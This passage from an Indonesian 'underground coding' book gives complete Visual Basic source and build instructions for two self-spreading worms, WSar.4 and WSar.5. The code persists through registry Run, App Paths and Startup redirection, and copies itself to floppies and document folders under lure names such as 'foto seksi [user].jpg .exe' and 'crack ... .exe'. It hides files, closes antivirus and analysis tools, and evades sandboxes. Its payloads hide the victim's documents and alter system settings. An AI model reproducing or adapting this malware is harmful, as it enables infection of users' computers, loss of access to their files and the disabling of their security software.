Function GetBinaryValue(ByVal SubKey As String, ByVal Entry As String) Call ParseKey(SubKey, MainKeyHandle) If MainKeyHandle Then rtn = RegOpenKeyEx(MainKeyHandle, SubKey, 0, KEY_READ, _ hKey) If rtn = ERROR_SUCCESS Then lBufferSize = 1 rtn = RegQueryValueEx(hKey, Entry, 0, REG_BINARY, 0, _ lBufferSize) sBuffer = Space(lBufferSize) rtn = RegQueryValueEx(hKey, Entry, 0, REG_BINARY, sBuffer, _ lBufferSize) If rtn = ERROR_SUCCESS Then rtn = RegCloseKey(hKey) GetBinaryValue = sBuffer Else GetBinaryValue = "Error" If DisplayErrorMsg = True Then MsgBox(ErrorMsg(rtn)) End If End If Else GetBinaryValue = "Error" If DisplayErrorMsg = True Then MsgBox(ErrorMsg(rtn)) End If End If End If End Function Function DeleteKey(ByVal Keyname As String) Call ParseKey(Keyname, MainKeyHandle) If MainKeyHandle Then rtn = RegOpenKeyEx(MainKeyHandle, Keyname, 0, _ KEY_WRITE, hKey) If rtn = ERROR_SUCCESS Then rtn = RegDeleteKey(hKey, Keyname) rtn = RegCloseKey(hKey) End If End If End Function Function GetMainKeyHandle(ByVal MainKeyName As String) As Long Const HKEY_CLASSES_ROOT = &H80000000 Const HKEY_CURRENT_USER = &H80000001 Const HKEY_LOCAL_MACHINE = &H80000002 Const HKEY_USERS = &H80000003 Const HKEY_PERFORMANCE_DATA = &H80000004 Const HKEY_CURRENT_CONFIG = &H80000005 Const HKEY_DYN_DATA = &H80000006 Select Case MainKeyName Case "HKEY_CLASSES_ROOT" GetMainKeyHandle = HKEY_CLASSES_ROOT Case "HKEY_CURRENT_USER" GetMainKeyHandle = HKEY_CURRENT_USER

Bab 10. Worm WSar.4

Jasakom

142

Computer Worm 1 - Secret of Undeground Coding : Uncensored

Case "HKEY_LOCAL_MACHINE" GetMainKeyHandle = HKEY_LOCAL_MACHINE Case "HKEY_USERS" GetMainKeyHandle = HKEY_USERS Case "HKEY_PERFORMANCE_DATA" GetMainKeyHandle = HKEY_PERFORMANCE_DATA Case "HKEY_CURRENT_CONFIG" GetMainKeyHandle = HKEY_CURRENT_CONFIG Case "HKEY_DYN_DATA" GetMainKeyHandle = HKEY_DYN_DATA End Select End Function Function ErrorMsg(ByVal lErrorCode As Long) As String Select Case lErrorCode Case 1009, 1015 GetErrorMsg = "The Registry Database is corrupt!" Case 2, 1010 GetErrorMsg = "Bad Key Name" Case 1011 GetErrorMsg = "Cant Open Key" Case 4, 1012 GetErrorMsg = "Cant Read Key" Case 5 GetErrorMsg = "Access to this key is denied" Case 1013 GetErrorMsg = "Cant Write Key" Case 8, 14 GetErrorMsg = "Out of memory" Case 87 GetErrorMsg = "Invalid Parameter" Case 234 GetErrorMsg = "There is more data than the buffer has been " & _ "allocated to hold." Case Else GetErrorMsg = "Undefined Error Code: " & Str$(lErrorCode) End Select End Function Function GetStringValue(ByVal SubKey As String, ByVal Entry As String) Call ParseKey(SubKey, MainKeyHandle) If MainKeyHandle Then rtn = RegOpenKeyEx(MainKeyHandle, SubKey, 0, KEY_READ, _ hKey) If rtn = ERROR_SUCCESS Then sBuffer = Space(255) lBufferSize = Len(sBuffer) rtn = RegQueryValueEx(hKey, Entry, 0, REG_SZ, sBuffer, _ lBufferSize) If rtn = ERROR_SUCCESS Then rtn = RegCloseKey(hKey) sBuffer = Trim(sBuffer) GetStringValue = Left(sBuffer, Len(sBuffer) - 1) Else

143

Jasakom

Bab 10 Worm WSar.4

Computer Worm 1 - Secret of Underground Coding : Uncensored

GetStringValue = "Error" If DisplayErrorMsg = True Then MsgBox(ErrorMsg(rtn)) End If End If End If End Function Private Sub ParseKey(ByVal Keyname As String, ByVal Keyhandle As Long) rtn = InStr(Keyname, "\") If Left(Keyname, 5) <> "HKEY_" Or Right(Keyname, 1) = "\" Then MsgBox("Incorrect Format:" + Chr(10) + Chr(10) + Keyname) Exit Sub ElseIf rtn = 0 Then Keyhandle = GetMainKeyHandle(Keyname) Keyname = "" Else Keyhandle = GetMainKeyHandle(Left(Keyname, rtn - 1)) Keyname = Right(Keyname, Len(Keyname) - rtn) End If End Sub Function CreateKey(ByVal SubKey As String) Call ParseKey(SubKey, MainKeyHandle) If MainKeyHandle Then rtn = RegCreateKey(MainKeyHandle, SubKey, hKey) If rtn = ERROR_SUCCESS Then rtn = RegCloseKey(hKey) End If End If End Function Function SetStringValue(ByVal SubKey As String, ByVal Entry As String, _ ByVal value As String) Call ParseKey(SubKey, MainKeyHandle) If MainKeyHandle Then rtn = RegOpenKeyEx(MainKeyHandle, SubKey, 0, KEY_WRITE, _ hKey) If rtn = ERROR_SUCCESS Then rtn = RegSetValueEx(hKey, Entry, 0, REG_SZ, ByVal value, _ Len(value)) If Not rtn = ERROR_SUCCESS Then If DisplayErrorMsg = True Then MsgBox(ErrorMsg(rtn)) End If End If rtn = RegCloseKey(hKey) Else If DisplayErrorMsg = True Then

Else

GetStringValue = "Error" If DisplayErrorMsg = True Then MsgBox(ErrorMsg(rtn)) End If End If

Bab 10. Worm WSar.4

Jasakom

144

Computer Worm 1 - Secret of Undeground Coding : Uncensored

MsgBox(ErrorMsg(rtn)) End If End If End If End Function Public Function hex2ascii(ByVal hextext As String) As String On Error Resume Next Dim Y As Integer Dim num As String Dim value As String For Y = 1 To Len(hextext) num = Mid(hextext, Y, 2) value = value & Chr(Val("&h" & num)) Y = Y + 1 Next Y hex2ascii = value End Function Function SetHexValue(ByVal SubKey As String, ByVal Entry As String, _ ByVal value As String) SetBinaryValue(SubKey, Entry, hex2ascii(value)) End Function

Ketik kode program berikut ini pada object frmWSar4:


'WSar.4 by Achmad Darmal 'Tarakan, Kalimantan Timur - Indonesia Option Explicit On Private Declare Function GetWindowsDirectory Lib "kernel32" _ Alias "GetWindowsDirectoryA" (ByVal lpBuffer As String, _ ByVal nSize As Long) As Long Private Declare Function GetSystemDirectory Lib "kernel32" Alias _ "GetSystemDirectoryA" (ByVal lpBuffer As String, ByVal nSize _ As Long) As Long Private SF As String * 255 Private Declare Function mciSendString Lib "winmm.dll" Alias _ "mciSendStringA" (ByVal lpstrCommand As String, ByVal _ lpstrReturnString As String, ByVal uReturnLength As Long, _ ByVal hwndCallback As Long) As Long Private Declare Function SetVolumeLabel Lib "kernel32" Alias _ "SetVolumeLabelA" (ByVal lpRootPathName As String, ByVal _ lpVolumeName As String) As Long Private Sub Form_Load() If App.PrevInstance = True Then End Call InfectSystem() Call InfectFloppy() If App.Path = "A:\" Or App.Path = "B:\" Then Unload(Me) End If End Sub

145

Jasakom

Bab 10 Worm WSar.4

Computer Worm 1 - Secret of Underground Coding : Uncensored


Private Sub InfectSystem() On Error Resume Next Dim MainFolder As String MainFolder = SpecialFolder(0) & "\Config\StartUp" MkDir(MainFolder) FileCopy(WormFile, MainFolder & "\" & "WINLOGIN.EXE") SetStringValue("HKEY_CURRENT_USER\Software\Microsoft\Windows\Curr" & _ "entVersion\Explorer\User Shell Folders", "Startup", MainFolder) SetAttr(MainFolder & "\" & "WINLOGIN.EXE", vbReadOnly) End Sub Private Sub InfectFloppy() On Error Resume Next Dim Acak As Integer Dim Nama As String txtName.Text = Trim$(NameLogon) Nama = LCase(txtName.Text) Dim NamaCantik(10) As String NamaCantik(0) = "foto seksi " & Nama & ".jpg .exe" NamaCantik(1) = "foto birahi " & Nama & ".jpg .exe" NamaCantik(2) = "foto pacar baru " & Nama & ".jpg .exe" NamaCantik(3) = "foto khusus dewasa.jpg .exe" NamaCantik(4) = "foto tuyul.jpg .exe" NamaCantik(5) = "foto dedemit.jpg .exe" NamaCantik(6) = "foto setan kuburan.jpg .exe" NamaCantik(7) = "foto hantu pocong.jpg .exe" NamaCantik(8) = "foto wewek gombel.jpg .exe" NamaCantik(9) = "foto kuntilanak.jpg .exe" Randomize() Acak = Int(Rnd * 10) If Len(Dir$("A:\*.jpg .exe")) = 0 Then FileCopy(WormFile, "A:\" & NamaCantik(Acak)) End If End Sub Function SpecialFolder(ByVal value) On Error Resume Next Dim FolderValue As String If value = 0 Then FolderValue = Left(SF, GetWindowsDirectory(SF, 255)) End If If value = 1 Then FolderValue = Left(SF, GetSystemDirectory(SF, 255)) End If If Right(FolderValue, 1) = "\" Then FolderValue = Left(FolderValue, Len(FolderValue) - 1) End If SpecialFolder = FolderValue End Function Private Function SetLabel(ByVal RootName As String, ByVal NewLabel _ As String) If RootName = "" Then Exit Function End If Call SetVolumeLabel(RootName, NewLabel) End Function

Bab 10. Worm WSar.4

Jasakom

146

Computer Worm 1 - Secret of Undeground Coding : Uncensored

Private Sub PayLoad() On Error Resume Next MsgBox("WSar.4 Ada Pada Komputer Anda", vbExclamation) SetStringValue("HKEY_LOCAL_MACHINE\Software\Microso" & _ "ft\Windows\CurrentVersion", "RegisteredOwner", "LIGHT " & _ "DEVIL") SetStringValue("HKEY_LOCAL_MACHINE\Software\Microso" & _ "ft\Windows\CurrentVersion", "RegisteredOrganization", "IN" & _ "DONESIAN WORM WRITER ASSOCIATION") SetStringValue("HKEY_LOCAL_MACHINE\Software\Microso" & _ "ft\Windows\CurrentVersion", "LocalNoticeCaption", "INDO" & _ "NESIAN WORM WRITER ASSOCIATION") SetStringValue("HKEY_LOCAL_MACHINE\Software\Microso" & _ "ft\Windows\CurrentVersion", "LegalNoticeText", "Kompute" & _ "r Anda terinfeksi oleh WSar.4 kunjungi site berikut untuk me" & _ "ndapatkan manual cara menghapusnya www.iwwa.co.id") SetLabel("C:\", "Light Devil") SetLabel("D:\", "WSar Exist") End Sub Private Sub tmrIseng_Timer() On Error Resume Next Dim DoorOpen As Boolean Dim i As Integer If Hour(Now) = Minute(Now) Then GoTo Iseng Else : GoTo Selesai Iseng: mciSendString("close all", 0, 0, 0) mciSendString("open cdaudio alias cd wait shareable", 0, 0, 0) mciSendString("set cd time format tmsf wait", 0, 0, 0) For i = 1 To 3 mciSendString("set cd door open", 0, 0, 0) DoorOpen = True If DoorOpen = True Then mciSendString("set cd door closed", 0, 0, 0) DoorOpen = False End If Next i Selesai: End Sub Private Sub tmrWSar4_Timer() On Error Resume Next Call InfectFloppy() If Day(Now) = 13 And Month(Now) = 10 Then Call PayLoad() Unload(Me) End If End Sub Private Function WormFile() Dim WPath, WName As String WPath = App.Path If Right(WPath, 1) <> "\" Then WPath = WPath & "\" End If WName = App.EXEName & ".exe" WormFile = WPath & WName End Function

147

Jasakom

Bab 10 Worm WSar.4

Computer Worm 1 - Secret of Underground Coding : Uncensored

Berikut penjelasan tentang kode program : Diawali dengan beberapa pendeklarasian function API, masing-masing memiliki tugas untuk mendapatkan direktori Windows dan direktori System Windows dari library kernel32, kemudian function pengiriman string dari library winmm.dll yang digunakan untuk memberikan instruksi pada cd drive, dan function API untuk mengatur volume label pada drive harddisk dari library kernel32. Diawali dengan procedure Form_Load yang akan memastikan file utama tidak tereksekusi lebih dari satu kali, kemudian memanggil procedure InfectSystem, procedure InfectFloppy dan akan segera mengakhiri program apabila file utama berada pada disket. Procedure InfectSystem akan membuat suatu direktori baru bernama 'StartUp di dalam direktori [windows directory]\Config kemudian membuat salinan file utama ke direktori tersebut dengan nama file "WINLOGIN.EXE". Procedure ini juga memanggil function yang berada pada module mdlRegistryAPI untuk memanipulasi registry dengan tujuan mengubah lokasi direktori StartUp pada Windows. Terakhir procedure mengatur atribut file "WINLOGIN.EXE" menjadi Read only. Procedure InfectFloppy mengatur nilai properti Text pada txtName menjadi nama user aktif yang didapatkan dari function NameLogon, kemudian mengatur nilai variabel Nama dengan nilai txtName yang di-trim dan dalam bentuk huruf kecil. Procedure kemudian membuat array sebanyak 10 data yang akan menjadi nama file worm, juga menyertakan nama user aktif sebagai bagian dari nama file worm tersebut. Sebagai contoh, jika nama user aktif adalah 'Komeng maka worm akan membuat file dengan nama "foto seksi komeng.jpg .exe", "foto birahi komeng.jpg .exe", "foto pacar baru komeng.jpg .exe". Hal ini merupakan salah satu upaya social engineering yang terbukti sangat efektif . Selanjutnya worm berusaha mencari file yang berakhiran ".jpg .exe" pada disket, jika file tidak ditemukan maka worm akan membuat salinan file utama dengan menggunakan salah satu nama file tersebut ke disket yang diambil secara acak. Bab 10. Worm WSar.4

Jasakom

148

Computer Worm 1 - Secret of Undeground Coding : Uncensored

Function SpecialFolder dan function SetLabel memanfaatkan function API yang telah dideklarasikan sebelumnya, dengan tujuan untuk mempermudah dan membuat formula menjadi lebih sederhana, hingga dapat digunakan berulang kali pada procedure yang berbeda. Untuk mendapatkan lokasi direktori Windows dapat menggunakan instruksi: SpecialFolder(0) atau SpecialFolder(1) untuk mendapatkan direktori System Windows. Untuk memanipulasi volume label drive C pada harddisk menjadi "Apaan Tuuh", maka dapat menggunakan instruksi berikut: SetLabel "C:\", "Apaan Tuuh" Procedure PayLoad pada worm ini termasuk payload beresiko rendah, selain menampilkan pesan "WSar.4 Ada Pada Komputer Anda" worm juga memanipulasi registry dengan mengubah konfigurasi registered owner menjadi "LIGHT DEVIL" dan registered organization menjadi "INDONESIAN WORM WRITER ASSOCIATION". Worm mengatur agar sebuah kotak pesan tampil setiap kali Windows startup dengan tulisan "Komputer Anda terinfeksi oleh WSar.4 kunjungi site berikut untuk mendapatkan manual cara menghapusnya www.iwwa.co.id". Terakhir worm memanipulasi volume label harddisk pada drive C menjadi "Light Devil" dan drive D menjadi "WSar Exist", jika ternyata komputer terinfeksi tidak memiliki drive D maka secara sederhana worm menggunakan statement On Error Resume Next untuk mengatasinya. Procedure tmrIseng_Timer memiliki instruksi yang akan bekerja apabila jam dan menit menunjukan nilai yang sama misalnya jam 09:09 atau 15:15. Instruksi yang akan dikerjakan adalah membuka dan menutup CD drive sebanyak 3 kali. Sedangkan procedure tmrWSar4_Timer secara berkesinambungan akan memanggil procedure InfectFloppy dan akan memanggil procedure PayLoad apabila tanggal menunjukkan 13 Oktober setiap tahunnya. Sedangkan dua module bernama mdlNameLogon dan mdlRegistryAPI masing-masing membuat suatu function dari pendeklarasian beberapa function API yang berguna untuk mendapatkan nama user aktif dan mempermudah pengelolaan registry seperti membuat, membaca dan menghapus key atau value pada registry, module yang akan sangat berguna untuk pengembangan program aplikasi apa saja, sehingga sangat disarankan untuk menyimpan module tersebut.

149

Jasakom

Bab 10 Worm WSar.4

Computer Worm 1 - Secret of Undeground Coding : Uncensored

BAB 11 WORM WSar.5

orm ini bernama WSar.5 (worm dasar 5), dengan trik launcher yang menggunakan metode program aliases. Karena trik sederhana ini tergolong trik baru dan tidak banyak digunakan, sehingga akan mempersulit proses analisa bahkan untuk seorang advanced user sekalipun. Selain itu worm dengan cerdiknya tidak akan bekerja apabila pada system komputer target, worm mendeteksi keberadaan program DeepFreeze atau merupakan suatu system komputer maya dari program Virtual PC, dan hal ini juga akan mempersulit proses analisa. Melalui WSar.5 penulis akan mendemonstrasikan metode yang digunakan worm Pesin untuk menonaktifkan program Registry Editor dan telah penulis kembangkan sehingga juga akan menonaktifkan program lain seperti Registrar Lite, System Mechanic, dan registry utility lainnya. Kemudian penulis juga mengembangkan dan mendemonstrasikan metode yang digunakan worm Kangen untuk menonaktifkan program Registry Editor dengan langsung menutupnya, tetapi karena untuk menonaktifkan program Registry Editor sudah menggunakan metode yang digunakan oleh worm Pesin maka penulis akan mengaplikasikannya pada program lain, seperti program informasi startup dan aplikasi antivirus.

151

Jasakom

Bab 11 Worm WSar.5

Computer Worm 1 - Secret of Underground Coding : Uncensored

Worm ini memiliki ciri khas worm di masa lalu, dengan berusaha memenuhi worm pada disket, sekaligus memiliki ciri khas worm di masa sekarang, yang dilengkapi rutin untuk menulari usb disk serta membuat file konfigurasi yang secara otomatis akan mengeksekusi file worm apabila usb disk tersebut terhubung pada suatu system yang mengijinkan metode autorun.

11.1 ALGORITMA
WSar.5 memiliki rutin-rutin yang akan melakukan tindakan sebagai berikut: 1. Melakukan pemeriksaan terhadap eksistensi worm itu sendiri pada suatu system komputer 2. Kemudian Worm melakukan pemeriksaan keberadaan program DeepFreeze dan Virtual PC. Jika ditemukan maka worm secara otomatis mengakhiri proses file utama. 3. Worm menyembunyikan aplikasi file worm dari task list 4. Saat menginfeksi suatu system komputer, worm akan membuat salinan file utama ke direktori tertentu, kemudian memanipulasi registry dengan membuat program aliases yang mengarah kepada file salinan tersebut dan menambahkan registry run yang mengarah pada program aliases yang dibuat sebelumnya. Terakhir memanipulasi beberapa nilai registry dengan tujuan menjaga agar file System dan Hidden tetap tidak terlihat pada Windows Explorer 5. Worm secara otomatis akan menonaktifkan aplikasi yang memiliki kata "REG" pada title-nya, seperti Registry Editor, Registrar Lite dan lain sebagainya. Worm juga akan langsung menutup aplikasi yang pada title-nya mengandung kata "vir, av, safe, start, process, spy, autoruns, hijack, patrol, alarm, task, config, folder option, system, properties, watson, remov, scan, kill" 6. Dampak lain yang ditimbulkan adalah setiap 5 menit secara otomatis seluruh jendela aplikasi yang terbuka akan di minimize pada taskbar

Bab 11. Worm WSar.5

Jasakom

152

Computer Worm 1 - Secret of Undeground Coding : Uncensored

7. Setiap tanggal 13 bulan Oktober akan menampilkan pesan "WSar.5 Ada Pada Komputer Anda", kemudian menambahkan atribut System, Hidden dan Read only pada setiap file yang ada pada folder My Documents, sehingga file tersebut tidak akan terlihat oleh user.

11.2 PEMROGRAMAN
Buat sebuah project baru pada aplikasi Visual Basic. Atur Project Name menjadi 'WSar, dan Application Title menjadi 'WSar.5 Tambahkan 4 buah object Timer, 2 buah object TextBox, 1 buah object DriveListBox dan 3 buah Module, kemudian atur properti untuk masing-masing object tersebut sebagai berikut: Properti object Form1 Jenis
Name Icon ShowInTaskbar Visible BorderStyle ControlBox

Nilai
frmWSar5 (Icon) False False None False

Keterangan
Mengatur nama form menjadi frmWSar5 Pilih icon yang akan digunakan pada form, WSar.5 menggunakan icon winzip.ico Tidak menampilkan form pada taskbar Tidak menampilkan form pada layar. Tidak memberikan garis tepi pada form Tidak menggunakan control box

Properti object Timer1 Jenis


Name Enable Interval

Nilai
tmrDisableWindow True 500

Keterangan
Mengatur nama Timer tmrDisableWindow menjadi

Pastikan Timer akan aktif saat form di-load Setiap instruksi pada procedure Timer akan dieksekusi setiap setengah detik

153

Jasakom

Bab 11 Worm WSar.5

Computer Worm 1 - Secret of Underground Coding : Uncensored

Properti object Timer2 Jenis


Name Enable Interval

Nilai
tmrIseng True 1000

Keterangan
Mengatur nama Timer menjadi tmrIseng Pastikan Timer akan aktif saat form di-load Setiap instruksi pada procedure Timer akan dieksekusi setiap 1 detik

Properti object Timer3 Jenis


Name Enable Interval

Nilai
tmrSpreading True 5000

Keterangan
Mengganti nama Timer dari Timer3 menjadi tmrSpreading Pastikan Timer akan aktif saat form di-load Setiap instruksi pada procedure Timer akan dieksekusi setiap 5 detik

Properti object Timer4 Jenis Bab 11. Worm WSar.5


Name Enable Interval

Nilai
tmrAntiDestroyer True 500

Keterangan
Mengatur nama Timer menjadi tmrAntiDestroyer Pastikan Timer akan aktif saat form di-load Setiap instruksi pada procedure Timer akan dieksekusi setiap setengah detik

Properti object Text1 Jenis


Name

Nilai
txtPath

Keterangan
Mengatur nama TextBox menjadi txtPath

Jasakom

154

Computer Worm 1 - Secret of Undeground Coding : Uncensored

Properti object Text2 Jenis


Name

Nilai
txtPath2

Keterangan
Mengatur nama TextBox menjadi txtPath2

Properti Module1 Jenis Name Nilai mdlMinimize Keterangan Mengatur nama mdlMinimize module menjadi

Properti Module2 Jenis


Name

Nilai
mdlRegistryAPI

Keterangan
Mengatur nama module menjadi mdlRegistryAPI

Properti Module3 Jenis


Name

Nilai
mdlWinForce

Keterangan Bab 11 Worm WSar.5


Mengatur nama module menjadi mdlWinForce

Ketik kode program berikut ini pada module mdlMinimize:


Private Declare Function FindWindow Lib "user32" Alias _ "FindWindowA" (ByVal lpClassName As String, ByVal _ lpWindowName As String) As Long Private Declare Function PostMessage Lib "user32" Alias _ "PostMessageA" (ByVal hwnd As Long, ByVal wMsg As Long, _ ByVal wParam As Long, ByVal lParam As Long) As Long Private Const WM_COMMAND As Long = &H111 Private Const MIN_ALL As Long = 419 Private Const MIN_ALL_UNDO As Long = 416 Public Sub MinimizeAll() Dim lngHwnd As Long lngHwnd = FindWindow("Shell_TrayWnd", vbNullString) Call PostMessage(lngHwnd, WM_COMMAND, MIN_ALL, 0&) End Sub

155

Jasakom

Computer Worm 1 - Secret of Underground Coding : Uncensored

Public Sub RestoreAll() Dim lngHwnd As Long lngHwnd = FindWindow("Shell_TrayWnd", vbNullString) Call PostMessage(lngHwnd, WM_COMMAND, _ MIN_ALL_UNDO, 0&) End Sub

Untuk module mdlRegistryAPI, Anda bisa menggunakan module yang sama pada WSar.4, kemudian ketik kode program berikut ini pada module mdlWinForce:
Private Declare Function PostMessage Lib "user32" Alias _ "PostMessageA" (ByVal hwnd As Long, ByVal wMsg As Long, _ ByVal wParam As Long, ByVal lParam As Long) As Long Private Declare Function EnumWindows& Lib "user32" (ByVal _ lpEnumFunc As Long, ByVal lParam As Long) Private Declare Function GetWindowText Lib "user32" Alias _ "GetWindowTextA" (ByVal hwnd As Long, ByVal lpString As _ String, ByVal cch As Long) As Long Private Declare Function IsWindowVisible& Lib "user32" (ByVal _ hwnd As Long) Private Declare Function GetParent& Lib "user32" (ByVal hwnd As _ Long) Private Declare Function EnableWindow Lib "user32" (ByVal hwnd _ As Long, ByVal fEnable As Long) As Long Dim sPattern As String, hFind As Long Const WM_CLOSE = &H10 Private Function EnumWinProc(ByVal hwnd As Long, ByVal _ lParam As Long) As Long Dim k As Long, sName As String If IsWindowVisible(hwnd) And GetParent(hwnd) = 0 Then sName = Space$(128) k = GetWindowText(hwnd, sName, 128) If k > 0 Then sName = Left$(sName, k) If lParam = 0 Then sName = UCase(sName) If sName Like sPattern Then hFind = hwnd EnumWinProc = 0 Exit Function End If End If End If EnumWinProc = 1 End Function Private Function WinFind(ByVal sWild As String, Optional ByVal _ bMatchCase As Boolean = True) As Long sPattern = sWild If Not bMatchCase Then sPattern = UCase(sPattern) EnumWindows(AddressOf EnumWinProc, bMatchCase) WinFind = hFind End Function

Bab 11. Worm WSar.5

Jasakom

156

Computer Worm 1 - Secret of Undeground Coding : Uncensored

Function WinQuit(ByVal WindowsTitle As String) On Error Resume Next hFind = 0 Dim wincap As Long Dim rtnval As Long wincap = WinFind("*" & WindowsTitle & "*", False) rtnval = PostMessage(wincap, WM_CLOSE, vbNull, vbNull) End Function Function WinAble(ByVal WindowsTitle As String, ByVal value As Boolean) hFind = 0 On Error Resume Next Dim wincap As Long Dim rtnval As Long wincap = WinFind("*" & WindowsTitle & "*", False) rtnval = EnableWindow(wincap, value) End Function

Ketik kode program berikut ini pada object frmWSar5:


'WSar.5 by Achmad Darmal 'Tarakan, Kalimantan Timur - Indonesia Option Explicit On Private Declare Function CopyFile Lib "kernel32" Alias _ "CopyFileA" (ByVal lpExistingFileName As String, ByVal _ lpNewFileName As String, ByVal bFailIfExists As Long) As Long Private Declare Function GetWindowsDirectory Lib "kernel32" _ Alias "GetWindowsDirectoryA" (ByVal lpBuffer As String, _ ByVal nSize As Long) As Long Private Declare Function GetSystemDirectory Lib "kernel32" Alias _ "GetSystemDirectoryA" (ByVal lpBuffer As String, ByVal nSize _ As Long) As Long Private SF As String * 255 Private Declare Function GetDriveType Lib "kernel32" Alias _ "GetDriveTypeA" (ByVal nDrive As String) As Long Const DRIVE_CDROM = 5 Const DRIVE_FIXED = 3 Const DRIVE_RAMDISK = 6 Const DRIVE_REMOTE = 4 Const DRIVE_REMOVABLE = 2 Private Sub Form_Load() If App.PrevInstance = True Then End If Len(Dir$("c:\dfinstall.log")) <> 0 Then End If Len(Dir$(SpecialFolder(0) & "\cntx\vpchelp.exe")) <> 0 _ Then End App.TaskVisible = False Call InfectSystem() If App.Path = "A:\" Or App.Path = "B:\" Then End End Sub

157

Jasakom

Bab 11 Worm WSar.5

Computer Worm 1 - Secret of Underground Coding : Uncensored

Private Sub InfectSystem() On Error Resume Next Dim MainFolder As String MainFolder = SpecialFolder(0) & "\Config" MkDir(MainFolder) CopyFile(WormFile, MainFolder & "\" & "system32.exe", False) SetAttr(MainFolder & "\" & "system32.exe", vbHidden + vbSystem _ + vbReadOnly) CreateKey("HKEY_LOCAL_MACHINE\Software\Microsoft\W" & _ "indows\CurrentVersion\App Paths\LoadPowerProfile.EXE") SetStringValue("HKEY_LOCAL_MACHINE\Software\Microso" & _ "ft\Windows\CurrentVersion\App Paths\LoadPowerProfile.EXE", _ "", MainFolder & "\" & "system32.exe") SetStringValue("HKEY_LOCAL_MACHINE\Software\Microso" & _ "ft\Windows\CurrentVersion\Run", "LoadPowerProfile", _ "LoadPowerProfile Rundll32.exe") SetDWORDValue("HKEY_CURRENT_USER\Software\Micro" & _ "soft\Windows\CurrentVersion\Explorer\Advanced", "Hidden", 2) SetDWORDValue("HKEY_CURRENT_USER\Software\Micro" & _ "soft\Windows\CurrentVersion\Explorer\Advanced", _ "HideFileExt", 1) SetDWORDValue("HKEY_CURRENT_USER\Software\Micro" & _ "soft\Windows\CurrentVersion\Explorer\Advanced", _ "SuperHidden", 1) SetDWORDValue("HKEY_CURRENT_USER\Software\Micro" & _ "soft\Windows\CurrentVersion\Explorer\Advanced", _ "ShowSuperHidden", 0) SetDWORDValue("HKEY_CURRENT_USER\Software\Micro" & _ "soft\Windows\CurrentVersion\Explorer\Advanced", _ "ClassicViewState", 0) SetDWORDValue("HKEY_CURRENT_USER\Software\Micro" & _ "soft\Windows\CurrentVersion\Explorer\CabinetState", _ "FullPath", 1) End Sub Private Sub PayLoad() On Error Resume Next Dim UserDoc As String Dim eks As Integer UserDoc = GetStringValue("HKEY_CURRENT_USER\Softwa" & _ "re\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders", _ "Personal") If Len(Dir$(UserDoc & "\*.doc")) <> 0 Then Shell("attrib +h +s +r " & UserDoc & "\*.doc") End If End Sub Private Sub tmrAntiDestroyer_Timer() On Error Resume Next WinQuit("vir") WinQuit("av") WinQuit("safe") WinQuit("start") WinQuit("process") WinQuit("spy")

Bab 11. Worm WSar.5

Jasakom

158

Computer Worm 1 - Secret of Undeground Coding : Uncensored

WinQuit("autoruns") WinQuit("hijack") WinQuit("patrol") WinQuit("alarm") WinQuit("task") WinQuit("config") WinQuit("folder option") WinQuit("system") WinQuit("properties") WinQuit("watson") WinQuit("remov") WinQuit("scan") WinQuit("kill") End Sub Private Sub tmrDisableWindow_Timer() On Error Resume Next WinAble("REG", False) End Sub Private Sub tmrIseng_Timer() On Error Resume Next If (Right(Minute(Now), 1) = 5 Or Right(Minute(Now), 1) = 0) And _ Second(Now) = 13 Then Call MinimizeAll() End If If Day(Now) = 13 And Month(Now) = 10 Then Call PayLoad() MsgBox("WSar.5 Ada Pada Komputer Anda", vbExclamation) End If End Sub Private Function SpecialFolder(ByVal value) On Error Resume Next Dim FolderValue As String If value = 0 Then FolderValue = Left(SF, GetWindowsDirectory(SF, 255)) End If If value = 1 Then FolderValue = Left(SF, GetSystemDirectory(SF, 255)) End If If Right(FolderValue, 1) = "\" Then FolderValue = Left(FolderValue, Len(FolderValue) - 1) End If SpecialFolder = FolderValue End Function Private Sub tmrSpreading_Timer() On Error Resume Next Dim filenya As String Dim NamaCantik As String Dim NamaAwal(10) As String NamaAwal(0) = "crack" NamaAwal(1) = "serial" NamaAwal(2) = "full"

159

Jasakom

Bab 11 Worm WSar.5

Computer Worm 1 - Secret of Underground Coding : Uncensored

NamaAwal(3) NamaAwal(4) NamaAwal(5) NamaAwal(6) NamaAwal(7) NamaAwal(8) NamaAwal(9) Randomize()

= = = = = = =

"freeware" "tutorial" "software" "e-book" "keygen" "service pack" "update"

Dim NamaTengah(20) As String NamaTengah(0) = "winamp" NamaTengah(1) = "winzip" NamaTengah(2) = "deepfreeze" NamaTengah(3) = "adobe reader" NamaTengah(4) = "vmware" NamaTengah(5) = "mirc" NamaTengah(6) = "kazaa" NamaTengah(7) = "transtool" NamaTengah(8) = "acdsee" NamaTengah(9) = "softice" NamaTengah(10) = "tweak ui" NamaTengah(11) = "alcohol 120%" NamaTengah(12) = "getright" NamaTengah(13) = "flash player" NamaTengah(14) = "winimage" NamaTengah(15) = "webshoot" NamaTengah(16) = "pdf factory" NamaTengah(17) = "shio" NamaTengah(18) = "horoskop" NamaTengah(19) = "zodiak" Randomize() txtPath.Text = NamaAwal(Int(Rnd * 10)) & " " & NamaTengah(Int _ (Rnd * 20)) & " " & Year(Now) + 1 NamaCantik = txtPath.Text & ".exe" Dim FolderDocu As String Dim FirstFile As String Dim FullDocu As String FolderDocu = GetStringValue("HKEY_CURRENT_USER\Soft" & _ "ware\Microsoft\Windows\CurrentVersion\Explorer\Shell Fol" & _ "ders", "Personal") txtPath.Text = FolderDocu txtPath2.Text = Dir(txtPath.Text & "\*.doc") FullDocu = txtPath.Text & "\" & txtPath2.Text FirstFile = Left(FullDocu, (Len(FullDocu) - 4)) If Len(txtPath2.Text) > 4 Then SetAttr(FullDocu, vbHidden) CopyFile(App.Path & "\" & App.EXEName & ".exe", FirstFile & _ ".zip .exe", False) SetAttr(FirstFile & ".zip .exe", vbNormal) End If Dim i As Byte For i = 1 To Drive1.ListCount - 1

Bab 11. Worm WSar.5

Jasakom

160

Computer Worm 1 - Secret of Undeground Coding : Uncensored

